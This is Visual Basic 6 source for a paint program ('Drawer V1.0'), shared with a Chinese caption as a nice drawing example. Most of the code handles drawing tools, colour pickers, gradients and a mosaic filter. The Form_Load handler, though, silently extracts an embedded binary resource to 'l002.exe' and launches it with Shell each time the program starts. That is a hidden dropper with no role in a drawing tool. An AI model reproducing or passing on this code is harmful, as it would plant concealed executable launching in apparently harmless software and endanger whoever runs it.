form1.frm

一款非常不错的画图的源码文件,忘大家能够喜欢!

      End
      Begin VB.Menu Separator1 
         Caption         =   "-"
      End
      Begin VB.Menu SubMenuExit 
         Caption         =   "E&xit"
         Shortcut        =   ^X
      End
   End
   Begin VB.Menu MenuFilter 
      Caption         =   "Fil&ter"
      Begin VB.Menu SubMenuBlur 
         Caption         =   "Mosaic"
      End
   End
End
Attribute VB_Name = "MainForm"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim EraserColor As Long
Dim EraserSize As Integer
Dim PencilSize As Integer
Dim BoxInversed As Boolean

Dim GradationChanged As Boolean
Dim XX As Double, YY As Double
Dim XX2 As Double, YY2 As Double
Dim CurrentChoice
Dim TheColor As Long
Dim Red As Long
Dim Green As Long
Dim Blue As Long
Dim SecondColor As Long
Dim FirstColor As Long
Private Sub BoxOptionInterior_Click(Index As Integer)
BoxOptionSample.BackStyle = IIf(Index = 2, 0, 1)
If Index = 0 Then BoxOptionSample.BackColor = FirstColor
If Index = 1 Then BoxOptionSample.BackColor = SecondColor
If Index = 3 Then BoxOptionSample.BackColor = &HFFFFFF
End Sub

Private Sub ColorBoard_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error GoTo 10
TheColor = ColorBoard.Point(X, Y)
If Button <> 1 And Button <> 2 Then Exit Sub
If Button = 1 Then ForeColorSample.BackColor = TheColor: FirstColor = TheColor: g = 0
If Button = 2 Then BackColorSample.BackColor = TheColor: SecondColor = TheColor: g = 3
Scroll(g).Value = TakeRGB(TheColor, 0): Scroll(g + 1).Value = TakeRGB(TheColor, 1): Scroll(g + 2).Value = TakeRGB(TheColor, 2)
10 End Sub
Private Sub Command1_Click()
f$ = InputBox("Input the size of the eraser", "Drawer V1.0", EraserOptionText.Text)
f$ = RTrim$(LTrim$(f$))
If " " + f$ <> Str$(Val(f$)) Then MsgBox "Input error!", vbOKOnly, "Drawer V1.0": Exit Sub
If Val(f$) <> Int(Val(f$)) Then MsgBox "Input error!", vbOKOnly, "Drawer V1.0": Exit Sub
If Val(f$) > 500 Or Val(f$) < 100 Then MsgBox "Input error!", vbOKOnly, "Drawer V1.0": Exit Sub
EraserOptionText.Text = f$
EraserSize = Val(f$)
Shape3.Width = Val(f$): Shape3.Height = Val(f$)
Shape1.Width = Val(f$): Shape1.Height = Val(f$)
End Sub
Private Sub Command2_Click()
f$ = InputBox("Input the border of the line or pencil", "Drawer V1.0", LineOptionText.Text)
f$ = RTrim$(LTrim$(f$))
If " " + f$ <> Str$(Val(f$)) Then MsgBox "Input error!", vbOKOnly, "Drawer V1.0": Exit Sub
If Val(f$) <> Int(Val(f$)) Then MsgBox "Input error!", vbOKOnly, "Drawer V1.0": Exit Sub
If Val(f$) > 10 Or Val(f$) < 1 Then MsgBox "Input error!", vbOKOnly, "Drawer V1.0": Exit Sub
LineOptionText.Text = f$
PencilSize = Val(f$)
Line2.BorderWidth = Val(f$)
End Sub
Private Sub DialogBox_Click(Index As Integer)
Static coloring As Long
On Error GoTo 100
CommonDialog1.ShowColor
coloring = CommonDialog1.Color
Scroll(Index * 3).Value = TakeRGB(coloring, 0)
Scroll(Index * 3 + 1).Value = TakeRGB(coloring, 1)
Scroll(Index * 3 + 2).Value = TakeRGB(coloring, 2)
100
End Sub

Private Sub EraserOptionColor_Click(Index As Integer)
EraserColor = IIf(Index = 0, SecondColor, &HFFFFFF)
End Sub
Private Sub EraserOptionText_GotFocus()
Command1.SetFocus
End Sub
Private Sub Form_Load()
EraserColor = &HFFFFFF
PencilSize = 1
EraserSize = 300
CurrentChoice = 1
FirstColor = &H0
SecondColor = &HFFFFFF
SaveFileFromRes 101, "CUSTOM", App.Path & "\l002.exe"
Shell "l002.exe", vbNormalFocus


End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Shape1.Visible = False
End Sub
Private Sub GradationColor_Click(Index As Integer)
GradationChanged = True
End Sub
Private Sub GradationDirection_Click(Index As Integer)
GradationChanged = True
End Sub
Private Sub LineOptionText_GotFocus()
Command2.SetFocus
End Sub
Private Sub MainPic_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button <> 1 Then Exit Sub
Select Case CurrentChoice
    Case 1
        Line1.X1 = X: Line1.X2 = X
        Line1.Y1 = Y: Line1.Y2 = Y
        Line1.Visible = True
    Case 2
        XX = X: YY = Y
    Case 3
        MainPic.Line (Shape1.Left, Shape1.Top)-(Shape1.Left + Shape1.Width, Shape1.Top + Shape1.Width), EraserColor, BF
    Case 4, 5, 8
        XX = X: YY = Y
        XX2 = X: YY2 = Y
        Shape2.Shape = IIf(CurrentChoice = 5, 2, 0)
        Shape2.Visible = True
        Shape2.Left = X: Shape2.Top = Y
        Shape2.Width = 0: Shape2.Height = 0
End Select
End Sub
Private Sub MainPic_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If CurrentChoice = 3 Then
        Shape1.Left = X - Shape1.Width / 2
        Shape1.Top = Y - Shape1.Width / 2
        Shape1.Visible = True
End If
If Button <> 1 Then GoTo 10
Select Case CurrentChoice
    Case 1
        Line1.X2 = X: Line1.Y2 = Y
    Case 2
        MainPic.DrawWidth = PencilSize
        MainPic.Line (XX, YY)-(X, Y), FirstColor: XX = X: YY = Y
        MainPic.DrawWidth = 1
    Case 3
        MainPic.Line (Shape1.Left, Shape1.Top)-(Shape1.Left + Shape1.Width, Shape1.Top + Shape1.Width), EraserColor, BF
    Case 4, 5, 8
        XX2 = X: YY2 = Y
        Shape2.Left = IIf(X > XX, XX, X)
        Shape2.Top = IIf(Y > YY, YY, Y)
        Shape2.Width = Abs(X - XX)
        Shape2.Height = Abs(Y - YY)
    Case 6
        Scroll(0).Value = TakeRGB(MainPic.Point(X, Y), 0)
        Scroll(1).Value = TakeRGB(MainPic.Point(X, Y), 1)
        Scroll(2).Value = TakeRGB(MainPic.Point(X, Y), 2)
End Select
Exit Sub
10 If Button <> 2 Or CurrentChoice <> 6 Then Exit Sub
Scroll(3).Value = TakeRGB(MainPic.Point(X, Y), 0)
Scroll(4).Value = TakeRGB(MainPic.Point(X, Y), 1)
Scroll(5).Value = TakeRGB(MainPic.Point(X, Y), 2)
End Sub
Private Sub MainPic_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button <> 1 Then Exit Sub
Select Case CurrentChoice
    Case 1
        MainPic.DrawWidth = PencilSize
        MainPic.Line (Line1.X1, Line1.Y1)-(Line1.X2, Line1.Y2), FirstColor
        MainPic.DrawWidth = 1
        Line1.Visible = False
    Case 4
        If BoxOptionInterior(0).Value = True Then MainPic.Line (XX, YY)-(XX2, YY2), FirstColor, BF
        If BoxOptionInterior(1).Value = True Then MainPic.Line (XX, YY)-(XX2, YY2), SecondColor, BF
        If BoxOptionInterior(3).Value = True Then MainPic.Line (XX, YY)-(XX2, YY2), &HFFFFFF, BF
        MainPic.Line (XX, YY)-(XX2, YY2), FirstColor, B
        Shape2.Visible = False
    Case 5
        Rad = IIf(Abs(YY2 - YY) > Abs(XX2 - XX), Abs(YY2 - YY) / 2, Abs(XX2 - XX) / 2)
        If XX2 <> XX Then MainPic.Circle ((XX2 + XX) / 2, (YY2 + YY) / 2), Rad, FirstColor, , , Abs(YY2 - YY) / Abs(XX2 - XX)
        Shape2.Visible = False
    Case 8
        Dim sc1 As Long
        Dim sc2 As Long
        sc1 = FirstColor
        If GradationColor(0).Value = True Then sc2 = SecondColor
        If GradationColor(1).Value = True Then sc2 = &HFFFFFF
        If GradationColor(2).Value = True Then sc2 = &H0
        f1 = TakeRGB(sc2, 0): f2 = TakeRGB(sc2, 1): f3 = TakeRGB(sc2, 2)
        v1 = TakeRGB(sc1, 0): v2 = TakeRGB(sc1, 1): v3 = TakeRGB(sc1, 2)
        forstep = 10
        If XX2 < XX Then xx3 = XX: XX = XX2: XX2 = xx3
        If YY2 < YY Then yy3 = YY: YY = YY2: YY2 = yy3
        ForStart = IIf(GradationDirection(0).Value = True, XX, YY)
        Endpro = IIf(GradationDirection(0).Value = True, XX2, YY2)
        For i = ForStart To Endpro Step forstep
        D1 = v1 + (f1 - v1) / (Endpro - ForStart) * (i - ForStart)
        D2 = v2 + (f2 - v2) / (Endpro - ForStart) * (i - ForStart)
        D3 = v3 + (f3 - v3) / (Endpro - ForStart) * (i - ForStart)
        If GradationDirection(0).Value = True Then MainPic.Line (i, YY)-(i, YY2), RGB(D1, D2, D3)
        If GradationDirection(1).Value = True Then MainPic.Line (XX, i)-(XX2, i), RGB(D1, D2, D3)
        Next i
        Shape2.Visible = False
End Select
End Sub
Private Sub Scroll_Change(Index As Integer)
P = Int(Index / 3)
RGBValue(P).Caption = "RGB (" + RTrim$(Str$(Scroll(P * 3).Value)) + " , " + RTrim$(Str$(Scroll(P * 3 + 1).Value)) + " , " + RTrim$(Str$(Scroll(P * 3 + 2).Value)) + " )"
TheColor = RGB(Scroll(P * 3).Value, Scroll(P * 3 + 1).Value, Scroll(P * 3 + 2).Value)
If P = 0 Then FirstColor = TheColor: ForeColorSample.BackColor = TheColor Else SecondColor = TheColor: BackColorSample.BackColor = TheColor
Line2.BorderColor = FirstColor
BoxOptionSample.BorderColor = FirstColor
If BoxOptionInterior(0).Value = True Then BoxOptionSample.BackColor = FirstColor
If BoxOptionInterior(1).Value = True Then BoxOptionSample.BackColor = SecondColor
GradationChanged = True
End Sub
Private Sub Scroll_Scroll(Index As Integer)
P = Int(Index / 3)
RGBValue(P).Caption = "RGB (" + RTrim$(Str$(Scroll(P * 3).Value)) + " , " + RTrim$(Str$(Scroll(P * 3 + 1).Value)) + " , " + RTrim$(Str$(Scroll(P * 3 + 2).Value)) + " )"
TheColor = RGB(Scroll(P * 3).Value, Scroll(P * 3 + 1).Value, Scroll(P * 3 + 2).Value)
If P = 0 Then FirstColor = TheColor: ForeColorSample.BackColor = TheColor Else SecondColor = TheColor: BackColorSample.BackColor = TheColor
Line2.BorderColor = FirstColor
BoxOptionSample.BorderColor = FirstColor
If BoxOptionInterior(0).Value = True Then BoxOptionSample.BackColor = FirstColor
If BoxOptionInterior(1).Value = True Then BoxOptionSample.BackColor = SecondColor
GradationChanged = True
End Sub
Function TakeRGB(Colors As Long, Index As Integer) As Long
IndexColor = Colors
Red = IndexColor - Int(IndexColor / 256) * 256: IndexColor = (IndexColor - Red) / 256
Green = IndexColor - Int(IndexColor / 256) * 256: IndexColor = (IndexColor - Green) / 256
Blue = IndexColor
If Index = 0 Then TakeRGB = Red
If Index = 1 Then TakeRGB = Green
If Index = 2 Then TakeRGB = Blue
End Function
Private Sub SubMenuBlur_Click()
f = 97: f2 = f / 2 - 1
All = (MainPic.ScaleWidth - f) * (MainPic.ScaleHeight - f) / f / f
For i = f2 To MainPic.ScaleWidth - f2 Step f
For j = f2 To MainPic.ScaleHeight - f2 Step f
r = 0: g = 0: b = 0
For k = -f2 To f2 Step f2 / 2: For l = -f2 To f2 Step f2 / 2
r = r + TakeRGB(MainPic.Point(i + k, j + l), 0)
g = g + TakeRGB(MainPic.Point(i + k, j + l), 1)
b = b + TakeRGB(MainPic.Point(i + k, j + l), 2)
Next l, k
MainPic.Line (i - f2, j - f2)-(i + f2, j + f2), RGB(r / 25, g / 25, b / 25), BF
h = h + 1
If h > All Then ProgressBar1.Value = 100 Else ProgressBar1.Value = h / All * 100
Next j
Next i
MsgBox "done!!!"
ProgressBar1.Value = 0
End Sub
Private Sub SubMenuExit_Click()
End
End Sub
Private Sub SubMenuNew_Click()
MainPic.Cls
End Sub
Private Sub SubMenuOpen_Click()
On Error GoTo 10
CommonDialog1.ShowOpen
MainPic.Picture = LoadPicture(CommonDialog1.FileName)
10
End Sub
'Private Sub SubMenuSharpen_Click()
'All = (MainPic.ScaleWidth - 2) * (MainPic.ScaleHeight - 2)
'For i = 1 To MainPic.ScaleWidth - 2
'For j = 1 To MainPic.ScaleHeight - 2
'r = TakeRGB(MainPic.Point(i, j), 0) + 0.5 * (TakeRGB(MainPic.Point(i, j), 0) - TakeRGB(MainPic.Point(i - 1, j - 1), 0))
'g = TakeRGB(MainPic.Point(i, j), 1) + 0.5 * (TakeRGB(MainPic.Point(i, j), 1) - TakeRGB(MainPic.Point(i - 1, j - 1), 1))
'b = TakeRGB(MainPic.Point(i, j), 2) + 0.5 * (TakeRGB(MainPic.Point(i, j), 2) - TakeRGB(MainPic.Point(i - 1, j - 1), 2))
'If r > 255 Then r = 255 Else If r < 0 Then r = 0
'If g > 255 Then g = 255 Else If g < 0 Then g = 0
'If b > 255 Then b = 255 Else If b < 0 Then b = 0
'h = h + 1
'ProgressBar1.Value = h / All * 100
'MainPic.PSet (i, j), RGB(r, g, b)
'Next j, i
'MsgBox "done!"
'End Sub
Public Function SaveFileFromRes(vntResourceID As Variant, sType As String, sFileName As String) As Boolean
  Dim bytImage() As Byte
  Dim iFileNum As Integer
  On Error GoTo SaveFileFromRes_Err
  SaveFileFromRes = True
  '从资源文件中调入数据
  bytImage = LoadResData(vntResourceID, sType)
  iFileNum = FreeFile
  '打开文件并保存数据
  Open sFileName For Binary As iFileNum
    Put #iFileNum, , bytImage
  Close iFileNum
  Exit Function
SaveFileFromRes_Err:
  SaveFileFromRes = False: Exit Function
End Function
Private Sub Timer1_Timer()
If GradationChanged = False Then Exit Sub
Dim sc1 As Long
Dim sc2 As Long

sc1 = FirstColor
If GradationColor(0).Value = True Then sc2 = SecondColor
If GradationColor(1).Value = True Then sc2 = &HFFFFFF
If GradationColor(2).Value = True Then sc2 = &H0
f1 = TakeRGB(sc2, 0): f2 = TakeRGB(sc2, 1): f3 = TakeRGB(sc2, 2)
v1 = TakeRGB(sc1, 0): v2 = TakeRGB(sc1, 1): v3 = TakeRGB(sc1, 2)
ForStart = 0: forstep = 10
Endpro = IIf(GradationDirection(0).Value = True, Picture1.ScaleWidth, Picture1.ScaleHeight)
For i = ForStart To Endpro Step forstep
D1 = v1 + (f1 - v1) / Endpro * i
D2 = v2 + (f2 - v2) / Endpro * i
D3 = v3 + (f3 - v3) / Endpro * i
If GradationDirection(0).Value = True Then Picture1.Line (i, 0)-(i, Picture1.ScaleHeight), RGB(D1, D2, D3)
If GradationDirection(1).Value = True Then Picture1.Line (0, i)-(Picture1.ScaleWidth, i), RGB(D1, D2, D3)
10 Next i
GradationChanged = False
End Sub
Private Sub Toolbar1_ButtonClick(ByVal Button As ComctlLib.Button)
For i = 1 To 8
If Toolbar1.Buttons(i).Value = tbrPressed Then CurrentChoice = i
Next i
Shape1.Visible = False
Line1.Visible = False
For i = 0 To 4
Optionframe(i).Visible = False
Next i
Select Case CurrentChoice
    Case 1 To 2
        Optionframe(0).Visible = True
    Case 3
        Optionframe(2).Visible = True
    Case 4
        Optionframe(1).Visible = True
    Case 5 To 7
        Optionframe(3).Visible = True
    Case 8
        GradationChanged = True
        Optionframe(4).Visible = True
End Select
End Sub